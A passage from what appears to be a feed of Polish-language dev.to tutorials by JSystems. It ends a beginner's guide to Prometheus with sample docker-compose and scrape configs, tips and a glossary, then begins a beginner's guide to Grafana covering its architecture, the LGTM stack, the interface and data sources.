&lt;p&gt;W praktyce Prometheus rzadko działa sam. Zwykle idzie w parze z eksporterem metryk serwera. Poniższy plik &lt;code&gt;docker-compose.yml&lt;/code&gt; stawia komplet: Prometheus oraz node_exporter, dokładnie taki, jakiego użyliśmy w tym artykule:&lt;/p&gt;

&lt;p&gt;Kopiuj&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;services:
  prometheus:
    image: prom/prometheus:latest
    volumes:
      - ./prometheus.yml:/etc/prometheus/prometheus.yml:ro
    ports: ["9090:9090"]

  node-exporter:
    image: prom/node-exporter:latest
    ports: ["9100:9100"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Do tego potrzebny jest krótki plik &lt;code&gt;prometheus.yml&lt;/code&gt;, w którym mówimy, co odpytywać. Poniżej minimalny przykład: Prometheus monitoruje siebie oraz serwer przez node_exporter:&lt;/p&gt;

&lt;p&gt;Kopiuj&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;global:
  scrape_interval: 15s

scrape_configs:
  - job_name: prometheus
    static_configs:
      - targets: ["localhost:9090"]

  - job_name: node
    static_configs:
      - targets: ["node-exporter:9100"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A jak z kosztami? Sam Prometheus jest w pełni darmowy. Płatne bywają usługi zarządzane, które biorą Prometheus na siebie, żebyś nie musiał go utrzymywać, na przykład Grafana Cloud albo Amazon Managed Service for Prometheus. Na start i do średniej wielkości firm w zupełności wystarcza darmowa wersja na własnym serwerze.&lt;/p&gt;

&lt;h2&gt;
  
  
  Dobre praktyki dla początkujących
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Zacznij od node_exportera.&lt;/strong&gt; Postaw Prometheus z node_exporterem i zaimportuj do Grafany dashboard Node Exporter Full. W kwadrans masz komplet metryk serwera.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Liczniki oglądaj przez rate().&lt;/strong&gt; Nazwa kończąca się na &lt;code&gt;_total&lt;/code&gt; to prawie zawsze licznik. Nie rysuj go wprost, użyj rate().&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Uważaj na liczność etykiet.&lt;/strong&gt; Nie wpisuj do etykiet wartości, które mają nieskończenie wiele wariantów, na przykład identyfikatora użytkownika. Każda nowa kombinacja to nowy szereg i więcej pamięci.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trzymaj konfigurację jako kod.&lt;/strong&gt; Pliki prometheus.yml i reguł wersjonuj w repozytorium, tak jak resztę infrastruktury.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dodaj alert Watchdog.&lt;/strong&gt; Zawsze aktywny alert, który milknie, gdy padnie droga powiadamiania, to najprostsza polisa na "monitoring, który sam się popsuł".&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Najczęstsze problemy i jak je rozwiązać
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cel w stanie DOWN.&lt;/strong&gt; Na stronie Targets kliknij błąd przy celu. Najczęściej to zła nazwa lub port, brak sieci między kontenerami albo aplikacja, która nie wystawia /metrics.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zapytanie zwraca "no data".&lt;/strong&gt; Sprawdź nazwę metryki (podpowiedzi pomagają) i zakres czasu. Bardzo często metryka istnieje, ale patrzymy na zły przedział.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wykres licznika to prosta rosnąca linia.&lt;/strong&gt; To znak, że zapomniałeś o rate(). Owiń metrykę w rate() z oknem, na przykład [5m].&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prometheus zjada pamięć.&lt;/strong&gt; Zajrzyj do TSDB status i poszukaj metryk z ogromną liczbą szeregów. Prawie zawsze winna jest etykieta o zbyt wielu wartościach.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Słownik pojęć Prometheusa
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pojęcie&lt;/th&gt;
&lt;th&gt;Co oznacza&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Metryka&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Liczbowy pomiar zapisywany w czasie, na przykład zużycie CPU.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Szereg czasowy&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ciąg pomiarów tej samej rzeczy, ułożony w czasie. Prometheus przechowuje właśnie szeregi.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Scrape&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Pojedyncze pobranie metryk z celu przez Prometheus.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cel (target)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adres, spod którego Prometheus pobiera metryki. Cele grupuje się w zadania (jobs).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Eksporter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Program, który tłumaczy stan systemu na metryki i udostępnia je pod /metrics.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Etykieta (label)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Para klucz i wartość, która opisuje wymiar metryki, na przykład metodę czy kod odpowiedzi.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PromQL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Język zapytań Prometheusa, ten sam, którego używasz potem w Grafanie.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Alertmanager&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Osobny program, który odbiera alerty, grupuje je i wysyła powiadomienia.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Liczność (cardinality)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Liczba unikalnych szeregów. Im wyższa, tym więcej pamięci zużywa Prometheus.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Podsumowanie
&lt;/h2&gt;

&lt;p&gt;Prometheus to darmowy, otwartoźródłowy fundament nowoczesnego monitoringu. Sam co kilkanaście sekund pobiera metryki z serwerów i aplikacji (model pull), zapisuje je we własnej bazie szeregów czasowych i pozwala je odpytywać językiem PromQL oraz uruchamiać na ich podstawie alerty. Jego największe atuty to prostota startu (jeden proces, jeden plik), potężny model danych oparty na etykietach oraz ogromny ekosystem gotowych eksporterów. Prometheus zbiera i przechowuje dane, a do ich wygodnego oglądania dokłada się &lt;a href="https://jsystems.pl/blog/show_post/co_to_jest_grafana_przewodnik_dla_poczatkujacych/" rel="noopener noreferrer"&gt;Grafanę&lt;/a&gt;. Te dwa narzędzia to dziś praktyczny standard.&lt;/p&gt;

&lt;p&gt;Najlepszy sposób nauki to praktyka: postaw Prometheus i node_exporter przez Docker Compose, wejdź na stronę Targets, zadaj kilka zapytań z rate() i spróbuj napisać własny alert, dokładnie tak, jak pokazaliśmy w tym artykule. A jeśli chcesz przejść przez to z trenerem praktykiem i nauczyć się Prometheusa oraz całego monitoringu szybciej i w dobrze poukładanej kolejności, mamy dla Ciebie dwa szkolenia.&lt;/p&gt;

&lt;p&gt;Chcesz opanować Prometheus od praktyka?&lt;/p&gt;

&lt;p&gt;Poniżej dwa szkolenia JSystems. Pierwsze skupia się w całości na Prometheusie, drugie to szeroki monitoring i observability z Grafaną, Prometheusem, Lokim i Zabbixem. Oba mają &lt;strong&gt;termin gwarantowany&lt;/strong&gt;, czyli odbywają się na pewno.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-monitoring;prometheus.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post452&amp;amp;utm_content=banner_prometheus" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftvrtyww9n55esfvjke94.jpg" alt="Szkolenie Monitoring serwerów i aplikacji: Prometheus w JSystems" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-monitoring;prometheus.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post452&amp;amp;utm_content=link_prometheus" rel="noopener noreferrer"&gt;Szkolenie Monitoring serwerów i aplikacji: Prometheus -&amp;gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-monitoring;monitoring_observability_grafana_prometheus_loki_zabbix.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post452&amp;amp;utm_content=banner_observability" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb8r2qgxodo8x8c1p1wvf.jpg" alt="Szkolenie Monitoring i Observability w praktyce: Grafana, Prometheus, Loki i Zabbix w JSystems" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-monitoring;monitoring_observability_grafana_prometheus_loki_zabbix.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post452&amp;amp;utm_content=link_observability" rel="noopener noreferrer"&gt;Szkolenie Monitoring i Observability: Grafana, Prometheus, Loki i Zabbix -&amp;gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>prometheus</category>
      <category>monitoring</category>
      <category>devops</category>
      <category>observability</category>
    </item>
    <item>
      <title>Co to jest Grafana? Kompletny przewodnik dla początkujących</title>
      <dc:creator>Andrzej Klusiewicz</dc:creator>
      <pubDate>Mon, 24 Aug 2026 15:11:40 +0000</pubDate>
      <link>https://dev.to/andrzej_klusiewicz_08588c/co-to-jest-grafana-kompletny-przewodnik-dla-poczatkujacych-1igj</link>
      <guid>https://dev.to/andrzej_klusiewicz_08588c/co-to-jest-grafana-kompletny-przewodnik-dla-poczatkujacych-1igj</guid>
      <description>&lt;p&gt;Ten przewodnik po Grafanie napisaliśmy od zera i pokazujemy w nim wszystko na prawdziwych zrzutach z działającej instalacji, którą postawiliśmy specjalnie na potrzeby tekstu. Wersja oryginalna jest na naszym blogu.&lt;/p&gt;

&lt;p&gt;Jeśli słyszałeś, że &lt;strong&gt;Grafana&lt;/strong&gt; to narzędzie, w którym zespoły DevOps oglądają kolorowe wykresy obciążenia serwerów, to dobry punkt startu, ale zaledwie ułamek prawdy. W tym przewodniku wyjaśnimy od zera, &lt;strong&gt;co to jest Grafana&lt;/strong&gt;, do czego służy i jak działa, a wszystko pokażemy na przykładach. I nie na diagramach z internetu, tylko na prawdziwych zrzutach z działającej instalacji, którą specjalnie na potrzeby tego artykułu postawiliśmy na własnym serwerze: Grafana, Prometheus oraz kilka źródeł metryk.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_07_node_exporter_full.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwp9jvuppmzp3dbbf1nme.png" alt="Grafana - gotowy dashboard Node Exporter Full z realnymi metrykami serwera: CPU, pamięć, dysk i sieć" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tak wygląda gotowy dashboard w Grafanie. To popularny "Node Exporter Full", który zaraz zbudujemy razem od podstaw. Wszystkie liczby są prawdziwe, pochodzą z monitorowanego serwera. Kliknij zrzut, aby powiększyć.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Grafana w pigułce:&lt;/strong&gt; darmowe, otwartoźródłowe narzędzie do &lt;strong&gt;wizualizacji danych i monitoringu w czasie rzeczywistym&lt;/strong&gt;. Samo nie przechowuje danych. Łączy się ze źródłami (na przykład z Prometheusem), odpytuje je i rysuje z nich dashboardy oraz wysyła alerty, gdy coś działa nie tak.&lt;/p&gt;

&lt;p&gt;Z tego artykułu dowiesz się:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;co to jest Grafana, do czego służy i dlaczego sama nie przechowuje danych,&lt;/li&gt;
&lt;li&gt;czym Grafana różni się od Power BI, Prometheusa, Kibany i Zabbixa,&lt;/li&gt;
&lt;li&gt;jak Grafana współpracuje ze źródłami danych i czym jest stos LGTM,&lt;/li&gt;
&lt;li&gt;co to jest dashboard, panel, zmienna, alert i transformacja,&lt;/li&gt;
&lt;li&gt;jak krok po kroku, na osiem kroków, zbudować pierwszy dashboard,&lt;/li&gt;
&lt;li&gt;jak zaimportować gotowy dashboard i jak ustawić alert,&lt;/li&gt;
&lt;li&gt;jak zainstalować Grafanę w minutę i ile to kosztuje.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Co to jest Grafana?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Grafana to otwartoźródłowa (open source, czyli o publicznie dostępnym kodzie) platforma do wizualizacji danych, monitorowania systemów i alertowania.&lt;/strong&gt; Mówiąc prościej: Grafana zamienia surowe liczby, które produkują Twoje serwery, aplikacje i bazy danych, w czytelne wykresy, liczniki i tabele zebrane na jednej stronie zwanej dashboardem.&lt;/p&gt;

&lt;p&gt;Kluczowa rzecz, którą warto zrozumieć od razu, bo odróżnia Grafanę od większości innych narzędzi: &lt;strong&gt;Grafana nie przechowuje danych&lt;/strong&gt;. Nie jest bazą danych. Zamiast tego łączy się z zewnętrznymi &lt;em&gt;źródłami danych&lt;/em&gt; (ang. data source), odpytuje je na bieżąco i rysuje wyniki. Dane fizycznie leżą gdzie indziej, a Grafana odpowiada wyłącznie za to, żeby ładnie i użytecznie je pokazać. To trochę jak deska rozdzielcza w samochodzie: sama nie produkuje prędkości ani obrotów, tylko odczytuje je z czujników i pokazuje kierowcy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krótka historia Grafany
&lt;/h3&gt;

&lt;p&gt;Grafana powstała w 2014 roku. Stworzył ją szwedzki programista Torkel Ödegaard, a projekt wyrósł jako odgałęzienie interfejsu Kibany. Dziś rozwija ją firma Grafana Labs, a narzędzie stało się faktycznym standardem monitoringu w świecie DevOps. Używają go zespoły od małych startupów po największe firmy technologiczne, właśnie dlatego, że jest darmowe, elastyczne i potrafi połączyć w jednym miejscu dane z wielu różnych systemów naraz.&lt;/p&gt;

&lt;h2&gt;
  
  
  Grafana a Power BI, czym się różnią?
&lt;/h2&gt;

&lt;p&gt;To jedno z najczęstszych nieporozumień, dlatego poświęćmy mu osobną sekcję. Grafana i Power BI na pierwszy rzut oka robią to samo, czyli pokazują dane na wykresach, ale służą do dwóch różnych rzeczy. &lt;strong&gt;Grafana to narzędzie do monitoringu i danych na żywo&lt;/strong&gt;: patrzysz w nią, żeby wiedzieć, czy system działa w tej chwili, i dostać alert, gdy coś się psuje. &lt;strong&gt;Power BI to narzędzie do raportowania i analityki biznesowej&lt;/strong&gt;: sięgasz po nie, żeby przeanalizować, jak szła sprzedaż w minionym kwartale. Poniżej najważniejsze różnice:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Cecha&lt;/th&gt;
&lt;th&gt;Grafana&lt;/th&gt;
&lt;th&gt;Power BI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Główny cel&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Monitoring i dane na żywo&lt;/td&gt;
&lt;td&gt;Raporty i analityka biznesowa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Rodzaj danych&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Metryki i szeregi czasowe (na bieżąco)&lt;/td&gt;
&lt;td&gt;Dane biznesowe, głównie historyczne&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Odświeżanie&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sekundy, czas rzeczywisty&lt;/td&gt;
&lt;td&gt;Zwykle okresowe (godziny, dni)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Typowy użytkownik&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DevOps, SRE, administrator&lt;/td&gt;
&lt;td&gt;Analityk biznesowy, controlling&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Model i cena&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Open source, darmowe, własny serwer&lt;/td&gt;
&lt;td&gt;Komercyjne, licencja Microsoftu&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Mocna strona&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Alerty i monitoring 24 godziny na dobę&lt;/td&gt;
&lt;td&gt;Modelowanie danych i raporty (DAX)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Nie musisz zresztą wybierać jednego kosztem drugiego. W wielu firmach działają obok siebie: Grafana pilnuje infrastruktury na żywo, a Power BI służy działowi biznesowemu do raportów. Co ciekawe, Grafana też potrafi rysować wykresy wprost z baz SQL, więc część zadań analitycznych obrobi, ale to nie jest jej główne przeznaczenie. Prosta zasada na koniec: jeśli pytasz "czy to działa w tej chwili", wybierasz Grafanę; jeśli pytasz "jak nam poszło w zeszłym miesiącu", sięgasz po Power BI.&lt;/p&gt;

&lt;h2&gt;
  
  
  Do czego służy Grafana? Najczęstsze zastosowania
&lt;/h2&gt;

&lt;p&gt;Choć Grafana kojarzy się głównie z IT, jej zastosowania są znacznie szersze. Oto obszary, w których sprawdza się najlepiej:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Obszar&lt;/th&gt;
&lt;th&gt;Przykłady użycia&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IT i DevOps&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Monitoring serwerów, kontenerów, Kubernetesa, baz danych i aplikacji. Szybkie wykrywanie awarii.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SRE i niezawodność&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Śledzenie dostępności usług, celów SLO i czasów odpowiedzi.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Monitoring aplikacji (APM)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Liczba żądań, błędy, opóźnienia, wąskie gardła w kodzie.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Analityka biznesowa&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sprzedaż, liczba zamówień, ruch na stronie, wprost z baz danych firmy.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IoT (internet rzeczy)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Odczyty z czujników: temperatura, wilgotność, zużycie energii.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Jak działa Grafana? Architektura krok po kroku
&lt;/h2&gt;

&lt;p&gt;Żeby Grafana miała co pokazać, ktoś musi najpierw te dane zebrać i gdzieś zapisać. Najpopularniejszy zestaw w monitoringu wygląda tak: metryki zbiera &lt;strong&gt;Prometheus&lt;/strong&gt; (baza szeregów czasowych, czyli danych zapisywanych ze znacznikiem czasu), a Grafana je z niego wyciąga i rysuje. Oto cała ścieżka danych, którą warto zapamiętać:&lt;/p&gt;

&lt;p&gt;1&lt;/p&gt;

&lt;p&gt;Źródła danych&lt;/p&gt;

&lt;p&gt;Serwery, aplikacje i bazy produkują metryki: zużycie CPU, pamięci, liczbę żądań.&lt;/p&gt;

&lt;p&gt;2&lt;/p&gt;

&lt;p&gt;Eksportery&lt;/p&gt;

&lt;p&gt;Programy takie jak node_exporter udostępniają metryki pod adresem /metrics.&lt;/p&gt;

&lt;p&gt;3&lt;/p&gt;

&lt;p&gt;Prometheus&lt;/p&gt;

&lt;p&gt;Co kilkanaście sekund pobiera metryki (tzw. scrape) i zapisuje je z czasem pomiaru.&lt;/p&gt;

&lt;p&gt;4&lt;/p&gt;

&lt;p&gt;Grafana&lt;/p&gt;

&lt;p&gt;Odpytuje Prometheus językiem PromQL i rysuje panele, dashboardy oraz alerty.&lt;/p&gt;

&lt;p&gt;Prometheus pilnuje, żeby faktycznie pobierać dane ze wszystkich celów (ang. targets). Na naszym środowisku widać to jak na dłoni: Prometheus odpytuje trzy zestawy metryk (node, cadvisor i samego siebie) i wszystkie są w stanie &lt;strong&gt;UP&lt;/strong&gt;, czyli zdrowe.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_16_prometheus_targets.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5dlhi60bdxnmuzmzs5nj.png" alt="Prometheus jako źródło danych dla Grafany - cele node, cadvisor i prometheus w stanie UP" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Prometheus zbiera metryki z trzech celów. To on jest źródłem danych, z którego korzysta Grafana.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stos LGTM, czyli Grafana i observability
&lt;/h3&gt;

&lt;p&gt;W większych systemach nie wystarczą same metryki. Chcemy widzieć też logi (zapisy zdarzeń) oraz ślady (ang. traces, czyli droga pojedynczego żądania przez system). To podejście nazywa się &lt;strong&gt;observability&lt;/strong&gt; (obserwowalność) i Grafana Labs ma na nie komplet własnych narzędzi, w skrócie &lt;strong&gt;LGTM&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;L jak Loki&lt;/strong&gt; to baza logów, czyli "Prometheus dla logów".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;G jak Grafana&lt;/strong&gt; to warstwa, w której wszystko oglądasz.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;T jak Tempo&lt;/strong&gt; to baza śladów żądań.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;M jak Mimir&lt;/strong&gt; to skalowalne przechowywanie metryk na dużą skalę.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Dla początkującego wniosek jest prosty: Grafana to nie tylko wykresy z jednego Prometheusa. To centrum dowodzenia, w którym w jednym miejscu łączysz metryki, logi i ślady z całej infrastruktury.&lt;/p&gt;

&lt;h2&gt;
  
  
  Interfejs Grafany, czyli co widzisz po zalogowaniu
&lt;/h2&gt;

&lt;p&gt;Grafana działa w przeglądarce. Po jej uruchomieniu (domyślnie pod adresem serwera na porcie 3000) wita nas ekran startowy. Za pierwszym razem logujemy się kontem administratora.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_01_login.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fv312jyx9atpszwlhm71b.png" alt="Ekran startowy Grafany z formularzem: pole użytkownika oraz pole hasła" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ekran startowy Grafany. Charakterystyczne pomarańczowe tło i znak w kształcie kompasu poznasz od razu.&lt;/p&gt;

&lt;p&gt;Po zalogowaniu trafiamy na stronę główną. Najważniejszy jest lewy pasek nawigacji, bo to z niego korzystamy przez cały czas pracy. Znajdziesz w nim kilka stałych pozycji:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dashboards&lt;/strong&gt; to lista wszystkich dashboardów, czyli gotowych zestawów wykresów.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Explore&lt;/strong&gt; pozwala szybko zadać jedno zapytanie i zobaczyć wynik, bez budowania całego dashboardu.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Alerting&lt;/strong&gt; to reguły alertów oraz powiadomienia.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connections&lt;/strong&gt; to miejsce, gdzie podłączamy źródła danych.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Administration&lt;/strong&gt; to ustawienia, użytkownicy, uprawnienia i wtyczki.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_02_home.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzgcgwi1d9qlab7ibwg2n.png" alt="Interfejs Grafany - strona główna z panelem powitalnym i lewym menu nawigacji" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Strona główna świeżo zainstalowanej Grafany. Po lewej widać całe menu, po którym będziemy się poruszać.&lt;/p&gt;

&lt;h2&gt;
  
  
  Źródła danych, czyli serce Grafany
&lt;/h2&gt;

&lt;p&gt;Skoro Grafana sama nie ma danych, pierwsza rzecz, jaką się w niej robi, to podłączenie &lt;strong&gt;źródła danych&lt;/strong&gt;. W menu &lt;em&gt;Connections&lt;/em&gt; znajdziemy katalog obsługiwanych źródeł. Grafana wspiera kilkadziesiąt z nich od razu po instalacji, a kolejne setki można dodać przez wtyczki.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_05_add_datasource.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl01ppfgc98et940mlqm6.png" alt="Grafana - katalog źródeł danych: Prometheus, Graphite, InfluxDB, Loki, Elasticsearch" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Fragment katalogu źródeł danych. Widać między innymi Prometheus, Graphite, InfluxDB, Loki i Elasticsearch.&lt;/p&gt;

&lt;p&gt;Oto najczęściej używane źródła danych i to, do czego się nadają:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Źródło danych&lt;/th&gt;
&lt;th&gt;Do czego służy&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Prometheus&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Metryki systemów i aplikacji. Standard w monitoringu infrastruktury.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;InfluxDB&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Metryki i dane z czujników (IoT). Kolejna popularna baza szeregów czasowych.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Loki&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Logi aplikacji. Rozwiązanie od Grafana Labs, "Prometheus dla logów".&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Elasticsearch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Logi i pełnotekstowe wyszukiwanie dużych zbiorów danych.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PostgreSQL / MySQL / MS SQL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dane biznesowe wprost z baz relacyjnych, odpytywane językiem SQL.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
